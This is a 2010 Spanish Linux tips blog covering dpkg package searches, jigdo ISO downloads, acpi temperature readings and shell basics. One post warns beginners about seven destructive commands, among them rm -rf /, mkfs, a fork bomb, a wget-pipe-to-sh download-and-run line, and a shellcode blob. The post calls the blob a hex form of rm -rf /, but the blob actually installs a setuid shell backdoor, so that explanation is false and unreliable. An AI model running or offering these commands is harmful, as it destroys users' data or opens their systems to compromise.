domingo, 18 de julio de 2010

Buscar paquetes instalados en Debian

fuente:

http://www.matware.com.ar/debian/buscar-paquetes-instalados-en-debian.html

A veces necesitamos saber los nombres de los paquetes que tenemos instalados en nuestro sistema.

El comando "dpkg -l | grep PAQUETE" nos devuelve la larga lista, pero a veces no se ven bien (se cortan los nombres).

La solucion a esto:

$ COLUMNS=200 dpkg -l |grep ^ii | awk '{ print $2}' | grep PAQUETE

viernes, 16 de julio de 2010

Descargar las ISO de los DVD de Debian, con jigdo

Fuente: http://crysol.org/es/node/35

Cómo utilizar la herramienta jigdo para descargar las ISO de los CDs y DVDs de Debian.

Ingredientes

  • Paquete jigdo-file

Conseguir los ficheros .jigdo

Por ejemplo, puedes bajar unos actualizados de http://cdimage.debian.org/debian-cd/current/i386/jigdo-dvd/

Con wget sería:

$ wget http://cdimage.debian.org/…/debian-40r3-i386-DVD-*.jigdo

Utilizar jigdo-lite

Ahora hay que bajar las plantillas de las ISO y componerlas. Eso se hace ejecutando jigdo-lite con cada fichero .jigdo

$ jigdo-lite debian-40r3-i386-DVD-1.jigdo

El programa pide que indiques el mirror que quieres utilizar para obtener los paquetes. Por defecto utiliza el primer mirror que tengas en /etc/apt/sources.list.

Todo a la vez

jigdo-lite puede utilizar ficheros .jigdo directamente del servidor y además tiene modo bacth (como todo programa decente). Así que puedes hacerlo todo escribiendo “simplemente”:

$ echo | jigdo-lite http://cdimage.debian.org/…/debian-40r3-i386-DVD-{1,2,3}.jigdo

Este comando se baja los tres ficheros .jigdo, sus plantillas correspondientes y después todos los paquetes. Por último, genera las imágenes ISO de los DVDs que puedes tostar por ejemplo con @cdrecord@.

domingo, 11 de julio de 2010

Ver temperatura de la CPU desde la consola


Filed under: Comandos — Etiquetas: — Garbu @ 10:23 pm

Ultimamente no quito el ojo a la temperatura que alcancen mis máquinas, sobre todo los portátiles que poseo ya que con altas temperaturas no solo comienza un mal funcionamiento sino que podemos dañar alguna parte interna del ordenador.

Habitualmente en el modo gráfico lo tenia muy fácil, en Windows usaba un sencillo programa llamado CoreTemp, y en Ubuntu es muy facil instalar un monitor con la temperatura actual de la máquina usando lm-sensors, claro que esta propiedad es para los entornos gráficos de Ubuntu.

Pero…¿ como ver este dato desde la consola ?

Pues googleando he encontrado el paquete acpi que nos ofrece información del estado de la batería en el caso de que manejemos un portatil y otra información relacionada, una de ellas, la temperatura actual de nuestra/s CPU/s. Sin más, como instalarlo y ejecutarlo:

# Instalamos el paquete acpi

sudo apt-get install acpi

# Para ver tanto el estado de la batería como la temperatura del procesador

acpi -t

# Si queremos ver toda la información posible ( temperatura, batería, y estado del cargador de corriente )

acpi -V

# Y para ver cualquiera de estas informaciones en tiempo real, usamos el útil comando watch

watch acpi -V

Ya podemos vigilar cuando podemos echar el huevo frito a calentar :)

jueves, 27 de mayo de 2010

7 comandos peligrosos para Linux

Si eres nuevo en Linux, las oportunidades de que alguién te engañe diciendote que uses algún comando para destruir tu sistema son muy altas, por eso es bueno conocer los comandos más peligrosos para GNU/Linux, en Tech Source from Bohol hay un listado de los 7 comando más mortales para Linux, (traducción en Nierox) , algunos de estos comandos pueden formatear el disco duro, dañar los archivos, etc.

  1. rm -rf /
    Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comando rm -rf /.
  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Esta es la versión hexadecimal de rm-rf / que pueden engañar hasta a los usuarios expertos de Linux.
  3. mkfs.ext3 /dev/sda
    Este comando formatea la partición que se menciona después de mkfs.
  4. :(){:|:&};:
    A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.
  5. any_command > /dev/sda
    Este comando provoca perdida total de datos, en la particion que se menciona en el comando
  6. wget http://alguna_fuente_no_confiable -O- | sh
    Esto descarga paquetes de alguna fuente no confiable y la ejecuta, debes tener mucho cuidado ya que puede ser código malicioso
  7. mv /home/tu-carpeta-home/* /dev/null
    Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.

Por ninguna razón vayas a ejecutar estos comando en Linux, esto es más bien con fines didácticos.

sábado, 20 de febrero de 2010

Shell – trucos

uso del tab
uso de las teclas de dirección, historia de comando 500
movimiento rapido Ctrl+p .... Ctrl+N
Búsqueda Ctrl-R
Movimiento en la línea Ctrl-A Ctrl-E y Ctrl-B Ctrl-F
Borrado de texto, carácter Ctrl-D y hasta el finalCtrl-K
Borrado de historial, history –c
transpocición de texto presionanto Ctrl+t

viernes, 19 de febrero de 2010

comandos

Visualiza directorio de trabajo
pwd
Visualiza una línea de texto
echo
Ejecutar un programa y salir de term
exec
./programa ejecutable bash u copilado
Tiempo de ejecución de un comando o programa
time
Establecer opciones de bash
set
Terminar shell
exit , logout

cd

cd loquesea

Cambia al directorio loquesea del directorio actual o del directorio que figura en la variable CDPATH. Véase el comando cd de builtins(7).

cd /

Cambia al directorio raíz.

cd

Cambia al directorio personal del usuario actual.

cd /loquesea

Cambia al directorio /loquesea.

cd ..

Cambia al directorio padre.

cd ~loquesea

Cambia al directorio loquesea del directorio personal del usuario.

cd -

Cambia al directorio anterior.